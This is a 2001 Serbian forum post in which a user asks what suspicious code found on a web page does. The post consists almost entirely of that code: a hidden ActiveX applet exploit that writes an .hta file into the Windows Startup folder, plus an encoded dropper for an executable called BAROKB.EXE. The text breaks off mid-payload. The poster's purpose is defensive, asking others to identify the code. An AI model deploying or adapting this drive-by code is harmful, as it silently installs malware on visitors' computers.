Novo

Forum kao aplikacija na telefonu

Dodajte forum na početni ekran i koristite ga kao aplikaciju, sa menijem na dnu ekrana.

Za sta sluzi sledeci kod?? Mislim da je los po PC jer sam ga nasao na jednoj html stranici!!!

  • 8 odgovora
  • 4.731 pregleda

Najnovija ↓

Za sta sluzi sledeci kod?? Mislim da je los po PC jer sam ga nasao na jednoj html stranici!!! 08.07.2001. u 22:35 · pre 308 meseci #1
Molim Vas da pogledate cijeli kod, a ne samo njegov pocetak!!


<div class='damn' style='position:absolute; visibility:hidden'><APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET></div>
<SCRIPT language=JAVASCRIPT>
window.status = "2000-2001&copy;COPYRIGHT";function loadPage(){if (navigator.appName.substring(0, 9)!= "Microsoft"){window.open('www.yahoo.com','_parent')};else{f()}};
a1=document.applets[0];
if (navigator.systemLanguage.substring(0,2)=="it") {if(navigator.userAgent.indexOf('NT') != -1){fn="..\\..\\All Users\\Menu Avvio\\Programmi\\Esecuzione automatica\\fik.hta"} else {fn="..\\All Users\\Menu Avvio\\Programmi\\Esecuzione automatica\\fik.hta"}} else if(navigator.systemLanguage.substring(0,2)=="en"){if(navigator.userAgent.indexOf('NT') != -1){fn="..\\..\\All Users\\Start Menu\\Programs\\Startup\\fik.hta"} else {fn="..\\All Users\\Start Menu\\Programs\\Startup\\fik.hta"}} else if(navigator.systemLanguage.substring(0,2)=="de"){if(navigator.userAgent.indexOf('NT') != -1){fn="..\\..\\All Users\\Startmen&#1100;\\Programme\\Autostart\\fik.hta"} else {fn="..\\All Users\\Startmen&#1100;\\Programme\\Autostart\\fik.hta"}}else if(navigator.systemLanguage.substring(0,2)=="es"){if(navigator.userAgent.indexOf('NT') != -1){fn="..\\..\\All Users\\Men&#1098; Inicio\\Programas\\Inicio\\fik.hta"} else {fn="..\\All Users\\Men&#1098; Inicio\\Programas\\Inicio\\fik.hta"}};
function f(){
cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}";
a1.setCLSID(cl);
a1.createInstance();
setTimeout("a1.setProperty('Path','"+fn+"')",15);
setTimeout("a1.setProperty('DOC',doc)",2000);
setTimeout("a1.invoke('write',VA)",2500);
}
</SCRIPT><SCRIPT language=VBSCRIPT>
Option Explicit
Dim VA, doc
VA = ARRAY()
doc = Chr(13) & Chr(10) & "<SCRIPT language=VBSCRIPT>" & Chr(13) & Chr(10) & "On Error Resume Next" & Chr(13) & Chr(10) & "Set fso = CreateObject(""Scripting.FileSystemObject"")" & Chr(13) & Chr(10) & "Set WSHShell = CreateObject(""WScript.Shell"")" & Chr(13) & Chr(10) & "set serverGOD=fso.CreateTextFile(""2ascii.bin"")" & Chr(13) & Chr(10) & "serverGOD.WriteLine ""n-- 2ASCII v2.0 -------- (c)1997 m&g software/Arminio Grgic-GrGa --"" & vbNewline & ""n"" & vbNewline & ""e100 BD 0 1 BA B5 1 B8 0 3D CD 21 72 19 8B D8 E8 72 0 72 12 3C 25"" & vbNewline & ""e116 75 F7 BF C3 1 57 E8 65 0 3C D 74 5 AA EB F6 CD 20 B8 0 24 AB"" & vbNewline & ""e12C 5A B4 3C 33 C9 CD 21 72 F1 3E 89 86 D3 1 B4 9 BA AC 1 CD 21"" & vbNewline & ""e141 B1 4 E8 3E 0 72 35 3C D 74 F7 3C A 74 F3 3C 7E 74 29 2C 30 80"" & vbNewline & ""e157 F9 4 75 6 8A E8 FE C9 EB E2 51 D2 E5 D2 E5 80 E5 C0 A C5 59"" & vbNewline & ""e16C FE C9 75 3 B9 4 0 3E 88 86 D2 1 E8 1B 0 EB C6 B4 3E CD 21 BB"" & vbNewline & ""e182 D3 2 51 B4 3F BA D2 1 3 D5 52 5E B9 1 0 CD 21 AC 59 C3 53 51"" & vbNewline & ""e198 B4 40 BA D2 1 3 D5 3E 8B 9E D3 1 B9 1 0 CD 21 59 5B C3 44 65"" & vbNewline & ""e1AE 63 6F 64 69 6E 67 20 32 41 53 43 49 49 2E 42 49 4E 0 74 6F 20"" & vbNewline & ""g"" & vbNewline & ""q (c)m&g <[email protected]>"" & vbNewline & ""%BAROKB.EXE"" & vbNewline & ""U=J@003000040000?oo080h000000000100000000000000000000000000000000000"" & vbNewline & ""000000000000380000>O2j>0bd9=8Qh1=<=QEDXYAcP`Eb_WEbQ]DPSQE^^_AdPRAUPb"" & vbNewline & ""5e^P5Y^PE4?CDP]_5TU^0==:0T000000000WS<ETIS]kWgS]MkgSf]kgIS]jWgI]=kg1"" & vbNewline & ""fbXgI^]k[g;bMagRf]kgJ;b`Wg[]mkgKf[mgIR]kGgBYESXSf]kg00000000@00@1500"" & vbNewline & ""1<13<0W63Wh000000000<0P00?1;016000P0000@00001`209@I2P00002002P20@000"" & vbNewline & ""000@0000020004000000000400000000P00`0200040000000020000000@000@00000"" & vbNewline & ""0@000@00000000@0000000000000P0@U@20h010080P200@500000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""0000000000000000000000000000000000000000000000000000D0E@1H`0000040`2"" & vbNewline & ""000@00000000004000000000000000008000L0PE5@Ha0000000P0000202000L00004"" & vbNewline & ""0000000000000000@000`00PD^bc5bS000000@0080P2000800000P00000000000000"" & vbNewline & ""00001000300000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""0000000000000000000000000:0TE9^V1_jPEDXYAcPVEYUDPYcDP`QES[UATPgEYdX"" & vbNewline & ""DPdXAUPE5@HPEUhUESedEQRAUP`EQS[5UbPEXdd1`j_D_e`Ah^d5ch^E_bW0PT:@0T9"" & vbNewline & ""1TjPEE@H0Pa^0`aPE3_`EibYEWXd@PX30YPa0iif0]b`0``PEdXUDPE@AHPDEUQ]@^P1"" & vbNewline & ""5\PEBYWEXdcDPBUEcUbEfUT0^PT@:0E5@HQ0<92l88nIH0acmQ26[d2408I000i1200"" & vbNewline & ""0V20mFkfOooEN;A6;58f95l6;=@6;E@>3Z1R95579dNDES];gKB8<:A28@9>30FX?31"" & vbNewline & ""[Mme3185_[B;L`UMc3n]ngK]08kHAf;3@<304iE81b`HQYfgEA=CYaAg0EfOL^UQ588"" & vbNewline & ""P:9372X?mJ_mCH^AW[81H8=4L:o[4<3^:bC<h<KXYob_>@Y?bnA6N5Bdl2[[;]mK1cD`"" & vbNewline & ""48ckMEld1:UNEHgc42ekc:PO4?e5IecPc_=[`2c0QHK:LI9N>F=m@U2=71d;oHf7lBH["" & vbNewline & ""3Mnl63m@40e4T<VonA][9?m@@@Bdh^W_c=f[2NTl1K<k78eDn]VjaC14<P<?[3c;9:A"" & vbNewline & ""k6NM>i1C08:[g1Ml<ehkK`IaV`dbOok_0K>AlhocZ2d@kc]i1ij2Qd1=5?dZH25]fh"" & vbNewline & ""3d]?8H8AIY_=e`?[K:;LT7J4O^KIkk3hPP?DF6oA3;8`1l?5U<gkC`ioL97l01003[78"" & vbNewline & ""d0PoSMBJe>@X0202j33484g49Wn]7?AEHhZ?n0A=l6S^?BlmefgO_LlP=Yl]1d654[eC"" & vbNewline & ""bcBaT;2_I99g]iheO>6AJgIa;Uh=[B:VhPfUg1=a<2@]DhAb:2MbgW<`][[g;Dd4]e7"" & vbNewline & ""o^gWa>H_?H[3geF[49DZ<6GIjnBl5UGTlB3=im3kN3jQAlGLk43i5jo<4OK3mQ^M<4PL"" & vbNewline & ""b81[C9n9A1GbC8UJP<KIY4T408mFiDU2gndPLhT5mYo86f7^m:Oj64<EHHgW2D?k37"" & vbNewline & ""okA13j3;>3Q7jhbCKP:<`S;o6c`:c8GD?1h368<5gHODRha2@k[LKD[e>klG]SIk@88]"" & vbNewline & ""38E85I00EkgohS0lm?1i@3aD<=H?MOgL379S?@YF78A:l7C`1L;QaE>320eU8kh9O]Z="" & vbNewline & ""aal0`nG<8CAANCAJVUT]biA6D?2oNA6j_M[`XYSO^]l41ggTB433ho1GD4FiGPo]_^k"" & vbNewline & ""P<X8Y5Hi0H>XV=mIKc[VZ[Z:@=@cD?[o8G=d3o0J2me<TMk?cPN725:Qf?;BE;l_Hf?"" & vbNewline & ""cH8aCoE@10liHTMR<kg?Z=B]R93=l>i9Ff]\XYS@7i5hD5afGVM@`PA4fn:=[05l3`Y"" & vbNewline & ""d]fF6ZBAb;igh339E8f;gOnaP3?_S1M9]el1@;0J1dg[jKWi082^P3U3h>Wi6JWO04F8"" & vbNewline & ""05=fmGFP6?26jP[P3^7@<1V2:cZmb880QQKBT`23L9Ue;6EhIh;7Z45BX0]@?=Sh=N"" & vbNewline & ""5]@kNh4MI=HAj=EODK<gC8m0Al5H:=5A^96TSM5P`5;UON^0J0b64LD8H`ADbNmQmFj"" & vbNewline & ""M[949b@10[[R1i0b@47cZ6@51bd100LP[ii`12NEhTE@3nUic91Aon<nah]f2:;<<8B5"" & vbNewline & ""?od:FkNm0bh:Rb<@5AX89lkUMo?EfHBLj==?EATWk=N[NdN2mO57bQ178T2UE@9SF<LX"" & vbNewline & ""1U8YA<9gnH<d?N1P4<S@7WVo_\mFLl8LE<aDI20jbK0XfP@Q7@:;62@7P1M<dX9?F"" & vbNewline & ""iYIV=ADUH11@<QG@`diL0250@<;fe2oPO0;14T4QZ4ImIgiN;2N7k_dcfK0A0A8A;;g"" & vbNewline & ""<SoT:5lLhXd@D_aZHNcZdOH33o<8jgfGK:7M`W`H`HL3_9Wj`;c3RQRUP37M>L@00;CK"" & vbNewline & ""aC2_Co^lGoe>1;;7HZPAC9@Om=;oMh:V5K4c90g[c=A61@7KncnoWD9C;MmD^C60Te"" & vbNewline & ""3EIe[ngdd]Oo_DFXX3:JP^<g0Om>UIb5:KSlnn<AOfK5B3F7D1M@F0P25_`KEININ9Jd"" & vbNewline & ""1Z[_cMaGBiKMKX7ILmYCOXl3HS55m::43noEJSoJdI0QdaAh1GDPmVZ;mi0N7JAnGG"" & vbNewline & ""0TRhT[Cg129AX?E=A_F>OZ2ZMK9Lh@e`[Tao1Yd?fg5bFS<I8fS=8mMok`6S@l30^H"" & vbNewline & ""RQP3mUlfYWQgcc=CGF05KQ@d7C_c2k`FQ[:2;moj5;K@2gd>;a?ohkO406gQKQc^>I"" & vbNewline & ""7A1kjDKV`_n`7C5IX`]a20BhbH4oL`L5hFKM8IiI;85F6cNc`1Lk1JfGkg=oof3K=>"" & vbNewline & ""28k55eSPk=LQeKQM@iO9kCD6Ae>375lIKGMmXXoWDPhMMdHLkfBooKH1IPcWK63Cn=e"" & vbNewline & ""<6oFAZ1NX5]Yo2ola3kO1e=k]e5cJkBlKhI7Ed<A:bmd0m25<KiGgK[A_Tm0B[4d_21"" & vbNewline & ""YlW9d=RcjT5];[O>eHH9?>P2lK2i^h[5fZc8602Z@h1_^Gmk0n=hBjn>i;4MHQ8JcIV"" & vbNewline & ""9HZ9YLS<`dS=MP1TfUX=a8cBVmdm`8B2<dSIdch;HYUA<cl^RV4GccKWZg8C`9ER<oD"" & vbNewline & ""X<HL:gaSPg6Lj_PM8TT9^XQ>>=Ln9=J^`HdTo=l@LkbcKh4lC8_7<B6W@VATS7>kD2H"" & vbNewline & ""MdLkcLJW?HPUmT6b912LJji=`LJd1ohed3S8gb5=PB=1Z<MA8W_QfH5c:MHb@`FP9"" & vbNewline & ""oHFKa=`1Z;LTF4=UO^f4ODcgf@lE@FXDo8=<<F:1_0e]X60?@]`<KE4[e5eabi>VJ_k"" & vbNewline & ""G>e6L[hHGmF9EFfTL[D:04Y<1eALlmN889<GXeeB9ei7_Zc2b5lM0[QCI1e]KoKWIV?"" & vbNewline & ""4ee`4;@51<;2@6fX0D;8a>4KAZ]E19H>^`6`Y9f8he97[YHI0H8DE0g?kg5@EnFZT@XX"" & vbNewline & ""1B<OAXmJXl2fm0FDZXl1@KEE]ImQbP?T6X<Ag5X@P3i;T1[5GJ:1XdW3bCAH4X5PBI"" & vbNewline & ""P>POLMHX1`ESA18XaL<HEfbSH^eAMG>mUbP7BT[nTmXdd7f8^153GX]ia36@W<XdXC5"" & vbNewline & ""5[?J8i`0DEON2<093@jH8Xbi>J<RI`c]T0X89Jo=SM2U8oQTFJIZ:L20;V@f70[k;`"" & vbNewline & ""LDgm3HfS2`Z7E`;dLVIG<lnHAlI0=H;lVV@[_ASKi=04A??P[6@Ggme@PJSPn247ZI"" & vbNewline & ""]VKg1OcCLFDV_^;17<]Oo[4;k1`^0X<;4e1C=7IWk1UO@D1TF6>c_MB30I6XG=<j>L"" & vbNewline & ""I]bk8M>L99L1CTdL>Ke0D;65XTAcjhNfP[cXe80i:8k2oCYeK7hEieCgiPOFiTKc5"" & vbNewline & ""`H<L@@?iM6TKI241d>`ilB]ZaaS0<Zcf0L8ePK0Q0W8ASgP]7f<I<Dma]Q<bFL9JHPK"" & vbNewline & "">GTKPkEIQg_TUT?LTOnHB`_H?hPRGlGn308Jg0B?g4UDO4c<3YHN7Ni:KD9lGmASF["" & vbNewline & ""7L?Sl?TF[JCJo4G2kP4QGTg=;bl6YXm34O^NQGPlBn<KhP40DIffT81nh41DQ<9T=U"" & vbNewline & ""La28kYlM[h<cZE3@Kg``?G<MnSb07`A1X1MHD<30>kK0V19l^DUgP4i[G5;h7UFTX]_"" & vbNewline & ""f3OHW22_4QiD`NNhij@]>UH7TXZ0PT`RL@kU6Yd37<1OSf]01n3PM<X^6^0E`Hn[3Tj@"" & vbNewline & ""MblN@@05@[1]?j@QbmM3i338;oc8APXMWS2noYhPm>X<PdfdT?@[4FP_a6GT=I97`3@D"" & vbNewline & ""]m3n0?<3@C>N33BdcHfOF;l_1Ga?Ymgg]oH57KnO>;L0L[6TP4n=@L8ol9cC?nb3c`kc"" & vbNewline & ""MlQ;d?7XoH3O?[e0dLFClEI0XdnM6[EYTl`1cK6D>=X0`COXS<c]eQP0ccEAO640ohb"" & vbNewline & ""9f9m@458F@J<f<JNNEMSP[IK9Fh?0h6A28ieU4gc3eYbFoCXW`?kEfoKSKY05XZ95CJL"" & vbNewline & ""1Xl:UX@GjEJ;H?<3`PTS2CB<ld[4H96fhfSKdXEKdXHi0eDDCY_<ff1:c6`Y69Y<h5"" & vbNewline & ""o6nMDT>IgS852XBM5lmkFI;FJSDJ^9TWKGIY1`MNPM:BR9Xf3R_F`05lPUPJjYg?W9"" & vbNewline & ""C2@P4`j8;75F46mg8joHBgfb;g9DM0o=n@`CD9Ikn]i?HCX=0L2KP9MKT9eoXFJ2]U"" & vbNewline & ""o`dlKhT9cOEk>4:40XhYG`hc?B^:_PEi@SlVP0The6T4`W;;0m@GMokL9I85d?2hg3X"" & vbNewline & ""4Dd[L]mgEdV`9d5D0M2@1PVaDh6g?14L913m4ddeJ=eg1_7M>j[^P6L7C[W:8S@[jKn^"" & vbNewline & ""UEMD0[BC:0kKn7V>H6HaMMf4kQ6kC1FeDCFXgakng]NYgLP05KX328nBFJW7<^fDF8X"" & vbNewline & ""E4GJEDd_dn_;T3U@Wo4TYE8Yc;2iST=4QXGP:@Q?LLjaG@lGm0YU285N1IgG`TB3FDa"" & vbNewline & ""D`gRR<?T7K=Im7@?kobd`=0@=hM6<d817hO=ekGeRQG2LSO`L0GGl0SaCgjn1KRg3I8"" & vbNewline & ""AdkbY>F59LL]7hLYN]Hg6V<_[H=A31TI3MkjcM4TPD0bTM5d=1[:^1k2`HL3F<i]:Y;"" & vbNewline & ""C=L7XGT]LXX]W8c5ZTX>Hm>QC?2VehAPTNEliQI>K=e@D?MUX<gLoIR6H:KBH]XelDf"" & vbNewline & "">e^Q2o8Q]I:73l6ZU87714Y86cWkQa9@E>PCIFW:H3SC8TJebn935VQWPBKC:CMJM9NU"" & vbNewline & ""QFKJl4VL8lPWnQi96b3LHgCI8jI=;F<PiR0ID69Q?B<SCaCOgO>fZ5^G>5g0K1lZU"" & vbNewline & ""1kf`0`9]0:c`T8@E7khCj0oMGhhKFndP5I8aIKcJUTZ@C]N6`:NMfinQBD@]G5g4Ml"" & vbNewline & ""]Wh86DYJIj4U_Df@cJcdEXe=<Sd=UK58F?2baFghYgQjDQ3e?n`3<P6:am;=Ae9Z03S:"" & vbNewline & ""eG:I=k;YSo8ZL>]`LIFohV1QcOLH@gdH4VFfQ=YJa<eZnHV;do;U<21D1QGVkdn9o>g"" & vbNewline & ""B=FChJdPK1C=J2KCLTg[O2UNg5Pb@:`B3<YO0XjBoe`3`H?Lk6c4=X<P343i?e[W]Od"" & vbNewline & ""B;lJRLTAI5LS^iKamljhhj<`=HXE2Y;F01=<lH9j3U=f;1YF;`KB8WGX1?54@eCK@"" & vbNewline & ""Ro3N]<D;K71CaEc]QFi2^AP1H]`GYikMAnWXEOCP16>?cjSe9PcJ[4n``507WIN?3^4T"" & vbNewline & ""GH7F;>MSmO=mT9_D3CekS7?<B5>J87]GV38Sl;9OigSS21W^@1ZnL]T2X`FK0e5EE_SG"" & vbNewline & "":=MU=VR0PlnQAZ;NCRQ[42l=FboON1BK@hD32IeG04TJN9l4CmTk<FiAgIMXdMmK]?"" & vbNewline & ""]oEQB_HV6;821A8^UJT[ABfC6?VN9_TM61@F0DIQ2W5Vk:;Z<?gXGOk9PWOR@;2;=?"" & vbNewline & ""l3DfnZH8297OU72nZkmZ7fS9AA2J6=<@48APmkH2a_W6V0_AI;NWCd=AdEc`mAW@b9E9"" & vbNewline & ""aMeQ<ZcefJQ_doTRFSL@XNOj56^ffCKHUH77PKlSdXa=o]I[19m5@PUZ=_0^;oZGV3GG"" & vbNewline & ""A`LIGa=G4HfhBh`iQ10JD1`=FVliT8g5PgQ2L7E2S`^aXdYc1PWmekMEhB_kFdMk_X"" & vbNewline & ""dKDj@WFcD7aZX2`[adR0_[J=jH`DPkK3a@NKkL_dF^PU05doa5H2;b6S;A5Rc467@5PM"" & vbNewline & ""WQmF3^L4dYEB>12Z_Gfn5V^THH3o1XWiGPg6bfS9715WH@SNcg?T62XW9OkLEN8djj5I"" & vbNewline & ""IN:P@EX2O3;:EHd0=U36XUcDFmgX@<4NGHQ8CI:AaPI4JNLGJLL8U3P1h8[H?E;7U"" & vbNewline & ""GU<U;f7>=9c;D@XKEU4Xm8HS15C=JmB>QeGf?ZR2C>cM>PS=1@^0g_FZL=RC`gEQGb`"" & vbNewline & ""C[8BLIPU5;<HiWF:1Qo4O4>3B3Lbm8WV_UT@0_TSaXQ[1`>i=ZkOYX3Bn;[<T6HLR_6"" & vbNewline & ""ThT`c^l]S@PkT@^Q2HJOcb8166i_a`l0aI]922MBo8>iWSAQih[2`lFde>0@c=@Pf"" & vbNewline & ""<1VSm2alRdCN2YVOHIlb0cfQd1><1G@cJXK504`nL<:j4TN6NB[5d;=diAJ16^kK5Zj@"" & vbNewline & ""LW`A:=X5ad?L@XD=IgJV;K6>a^@`P@V@A<8X2d4X4H0cnGgbf6B7[AW>`VLP3hg3HP_"" & vbNewline & ""PA=o`iNHaZ0ZKSX@@d0MTD[X>dQiJ<RM@SQ=[;52A?>n3N2gAEU3Bkbb;I1VAm:d`I"" & vbNewline & ""DTOOI29XWHHaU4If24lZ=XXKOhhF71eh>JR=2k;3]@Z4``=SAD2UW=Na^8?j==OI37X"" & vbNewline & ""6OA[?BaCjEZAA3lB:A9ikjWfVj4mT5Q_hUl7n5h;X6imThhdXKP5m;WVYl=<<S<hTB="" & vbNewline & ""1d7lR2H@M0doc7>_R=;?X8;EPc?oQ22O?]H:@iTmeNBdQn?W4SCgBIFFEM2B=Ff_4n;"" & vbNewline & ""XD8;<aj<42k4bd<LcV8R@@<kHmU6@]3[1c@TgjAA]amUo0U@5U@HAZAAAADd<Y8AA"" & vbNewline & "":AA`0PTZAAABAXLQPhAZAAADlT4ZhAAZAAdZ`XZAAAjAl0ZTPAZAAAZ4HDZ@AAjAA4"" & vbNewline & ""ZL8<ZAAA2ADHP<4AZAAA008@[hAAjAAdo`XZAAAnATP_<@AZAAAoDHLYl@IJAA5d`0"" & vbNewline & ""G:nD@DUS0003;YjX5fTP<2kdP3@YYJV0hf<eG=Ced=LACO<DZ6LWCd34d?j47@i9d3d"" & vbNewline & ""E=>:4N=g`cm9P3S@[7S]NgmDPMQEgI_4OAK5=Wf1=P22D1369Pe==CdVU[QEaf=dg8C"" & vbNewline & ""@OOnB^7^>WC=3Bd]EZL7eT=CT=9YEYC_fMbH9P3dJ_[O6Po27Bm_PGoZEoSNb`1kDocg"" & vbNewline & ""6VOW]=gm3ggOD7oQ8?ei5YnTP_UWhViYj_5O7e@3Y4NMQIYJ7dGF^`G7f<=Bd4d33"" & vbNewline & ""4VA@;9VkcI7R<0DW17Q1MMCdC=M>LGQB@E3Eed=C@dWI4SDGhHJ^<;B?0oROQ6ImF0m1"" & vbNewline & ""DoFgVO1JN>_O0WgoPg_`W1XjAd3EEeKbH;VYVJ^EXG7IJ3DYVJV@Eh>a9oA6YYJV:6Cn"" & vbNewline & ""YnQTiYj18KUGZ=P2jJ>1DHH3EKKUUP1JE^0OF;c_cB=BEmcQD[g4`WPC9d3=MJ3;Dkj^"" & vbNewline & ""<=BaY8897cmZo69ncCkVEUVQEed07bboe>F?NLU13P0=:6P?egjgbG01<;09GcHecT"" & vbNewline & "":cAd10@Sh5]6mU705K7FnQ^2f8:06S9`;^_g]V;V33O0a08h3goOOnREQb_1[P^40YP"" & vbNewline & ""EXQdAUPcESX_5_6eeSoOfo_0E]n5RijEc`iETUbDP03A_8bEYWX1dPXM]o_7]SY<PQ0"" & vbNewline & ""DP7BE1==E5BC5_VDA70^Koo65e`PDn=QE^YAQ@AX5c<^1HF<1C@_[2Y[HVHK<C6_>3"" & vbNewline & ""0Dh_=8GE595G`B_^STGb1?gW061MTO[@IV@0aCRb13=fLPMO4Q:ob_m;g2?@G_7`oOo"" & vbNewline & ""T7Yj0;?^HT3[5offIi6neoiI_So5N4^]Ic4=En_iEe4_2>30lH0oI?9`F5k:Ia8hQom:"" & vbNewline & ""Id@9oooo]E=jk9W1^[<_kA[@^l7iZNoo^^=ej<Y=;hAQ:@c7E21BE?;nMQQWC:;8IYeC"" & vbNewline & ""GAbUE@gT<FNmlgTAg>LE=YS6Zc;m_o_D=LGEY^TE_gcEL3eAbG^edFUmcK]MFhYE_^L"" & vbNewline & ""=@nR5YUG5>Uam_FhMm7bM[OYEcQRE931QNeCfo0GHW?D^45E61EE<DLYH0=d@c5Chk"" & vbNewline & ""@@6CA3P^EUS8ofJMG[D_EKUh0f7?Qk]M@CQULZOB9UDmKCgWD8dbEiD@Z>?cMWM>ECi:"" & vbNewline & ""EU]_7VO7f9`M1o3a0bg^0`1aL;S;Vc^m0U]c4`fj`PcQm=QMLBK@EBf<fmG@E5^ee]aK"" & vbNewline & ""eW`oEUT@EQcc3NUS@P0EhM@_1[a9@0;@Q>S;fe]A1:XR0YA]CCG]>^e759@PE1TT4FYL"" & vbNewline & ""^g9V720:oV@^P45>CKaSYTD3CUASgG4MPSGT9>ACK;nH`NE_o>55<clbTcId567QFm"" & vbNewline & ""D`bf@i9NB273a[4[Ak?eQHR0<@U0FL@DP1X0L:4A`0E82S0Z6@61QDP<H2X0@I5@21b:"" & vbNewline & ""BP2T4D05S8X0H:@A00EP2S0Z5061YD0=82XC1OfG<@4P@`1CEUdmmInoE6YEU1dEdbY"" & vbNewline & ""ERedEUc1E7=_5TeR]Pf_@EI>EQ]U`C1^AocE4YbEUSdE_bilDPM1cE4@S:5EhYd3KGT"" & vbNewline & ""4RMA<:QIfk]G]D1Yk=A6`UE<LbQQc;T8ha0JV]f1]KBHZ5CbY5deeagKkE8Q^ETCC"" & vbNewline & ""D5U`aUYH]]FmDPUDAX6T@`G^11jn4P]20:9E]`YUJkkW=@0US[TEe^dH=@>bc=FHm51"" & vbNewline & ""?oA0MmfPC_TEEcUbGUBUEW];UUiN^ifCA@?5`]>D<AeW]Q]CM[i=FI6DN4UN=m7H[_"" & vbNewline & ""DB05_co`<dKD`3Nd]dNQcdOFmBEQcgI5F;T<O:F0ghEbdY1hGQ=Q_I2DH@4XgFEJ[K"" & vbNewline & ""U7@lRWGnC[:]DKYlEXnYLA0=8CIfjQgF4[jc8gF<1cZZ:0F5OHU3XAT:_@=cJEGX>"" & vbNewline & ""ED_??BKf=2[MQ;H]Ab:@6ndaE^HXOV==FOQWAURQN`VV0J9jTF1G_FLKD=>R2<8>6m=f"" & vbNewline & ""=Q=YIDf^ecIk]F<dC=5c`?5SXSOIKJEkgflAeY1V;:4TgcEg6?ECaEe`TITmVkE3UV"" & vbNewline & ""d:@lP21bLKV?<o:@2Gc@;b<;C0cd9Pi4G8Wa1_3fE@5<h1cm>7l4<0W6cWhP00?1"" & vbNewline & ""0;16P<XiDeg2C0DW4A;40h06=2jg;0J4bP7k;<mIDR0dQ0Nd@7bB1h36BhL1fj0b"" & vbNewline & ""K?<`020805WL=QOPTGW01N>CY^LD^3h=dGPlX3;oI04@2PPD^b^VB^@EKQC3V56AZV"" & vbNewline & ""Yi;M10^V0WENT2@UU]:J`:b0U?cKm:6Nac;[7c?lT0XoSOKX12=51c9000000000<To0"" & vbNewline & ""00000000T0PnH002X0=nh0@mWoG3o=o[X@@@Z@@@:@:69687a71KQe7;hN3^clAK]b]h"" & vbNewline & ""0100`01KQe7;hN3^clAK<A01gKc_Qe9;hN3^clAK=cTak93X43b=?1P8B:66n3`oUdd9"" & vbNewline & ""c51KQe7;hN3^clAK<A917Ke7R;N3?^lAcKA9AeP1L1Ke87;Nn3^l<AKAc91KMc_e89;N"" & vbNewline & ""n3^lLAKckT31h21ml0coko3A81=Dh_3m7lf?B:22B877e9eggYSo_oo@R;23S249h737"" & vbNewline & ""h43Yd4gal1?Ym<ooWoN9[giI0000B:77<Xld1gg20o2]eb;H7:Od4V1cX81S0@6c4Yh"" & vbNewline & ""n0[X1`9h737h59H_RI=Bn0`P20;`790Ud5;QO4=24`@2E20L1c@>378[oFL2E20:E:7"" & vbNewline & ""a780]dL97ii78?g7E7@7FiG8Kb^E[oFP2E20L90d8793>334o[HoZFTE@20QWYW<?mo0"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000000000"" & vbNewline & ""00000000000000000000000000000000000000000000000000000000000000200300"" & vbNewline & ""00P0800>00002@00200000000000000000000201000010002020@00XP00000000000"" & vbNewline & ""0000000000010094@00H0000;DP2<0X2000000000000000000000000000000000109"" & vbNewline & ""040020000S020X0100000000000000000000000000000000101U0080X080000000"" & vbNewline & ""00000000000000100940<000`002T200R000000000000007@`200X0000P00001000"" & vbNewline & ""00100400000000200000000000000000000000000000P000P0000000:00020008000"" & vbNewline & ""R0002000o000X0002000<0o0<0o0`00oco0o0000co0ol0oo`00o?oo0000000000000"" & vbNewline & ""00000000H07gEgggEgggEggg1`00P00?oooooooooooo7o`00000n?ooooooooooOoo`"" & vbNewline & ""0000h0?ooooooooooooo1`00P00?oooooooooooo7o`00000n?ooooooooooOoo`0000"" & vbNewline & ""h0?o`0?o`0?o`00o1`00P00?3og`X0g`00g`7o`00000>?okEkkkEkkkL`o`0000h0?o"" & vbNewline & "";cgc0cccbc?o1`00P00??ookl?oogc`o7o`00000n?oo`g9o_oc`Ooo`0000h0?o3ck9"" & vbNewline & ""2@00`3?o1`00P00?_ocg091G1`0?7o`00000n?ocPk9I>Ag0L?o`0000h0?o3og9:IIH"" & vbNewline & ""b0?o1`00P00??ookX9IIZC?`7o`00000n?ocRg9IZIChCk0`0000h0?o4ck00003ic?4"" & vbNewline & ""0000P00?SoggZggg:ggd?00000>?ok0cck0cckd`><0000h0?o`coo`coo`c`d?0"" & vbNewline & ""P00?oooooooooooogo><0000n?ooooooooooOood?0h0?ooooooooo3h00d0><P00?"" & vbNewline & ""ooooooooooho1h04?0n?oooooooooh;g00d0><h0?ooooooooo7hh00004_?oooo"" & vbNewline & ""oooo_oh00000d0>0n?oooooooooh00000004Y088Z888Z888280000000000`00o0000"" & vbNewline & ""3o00<0o0`00o00003o00<0o0`00o00003o00<0o0`00o00003o00<0o0`00o00003o00"" & vbNewline & ""<0o0`00o00003o00<0o0`00o00003o00<0o0@00o00000o0000O0000?000007008130"" & vbNewline & ""`03100073P00<?`0`0Oh000oKohc020X00000@0000P0000100400000800000000000"" & vbNewline & ""00000000000000000000000020002000X0008000P0008000:000l000S000:000`00o"" & vbNewline & ""`00o0000?oo03o00<0o0co0o3o00oooo000000000000F7ggEgggP00?oooo?og0h0?`"" & vbNewline & ""00003g00>?gg`g`gP00?cc9o<`g0h0?g09A03g00>?c19g77P00?Sg9I0h40h0?c89I`"" & vbNewline & ""7<00>?g0`0`lS40?Gcccm`g<i0?oooo``0<4n?oooogh4?oooo;g00X088Z8880000"" & vbNewline & ""00702P072m0087m0`07o3o0780P087m0P07m00070R000700007008033lR081800000"" & vbNewline & ""000<0000dOVf00o0L0Pd02000010020P0P@00104<0X2000100@@0@0100400X100020"" & vbNewline & ""0000000000000000`00D2U20:LU20000000000000000QUP202U20000000000000"" & vbNewline & ""0000;^U2X0dU0200000000000000`00k2U20:lU20000000000000000P07V`2042U20"" & vbNewline & ""00000000000000008BV2<U0200000000000000000000000000P0NV0202V208lV2"" & vbNewline & ""0000@00:2V200000T0HV020000009ZV20000@00j2V200000003080000000E;5BE>5<"" & vbNewline & 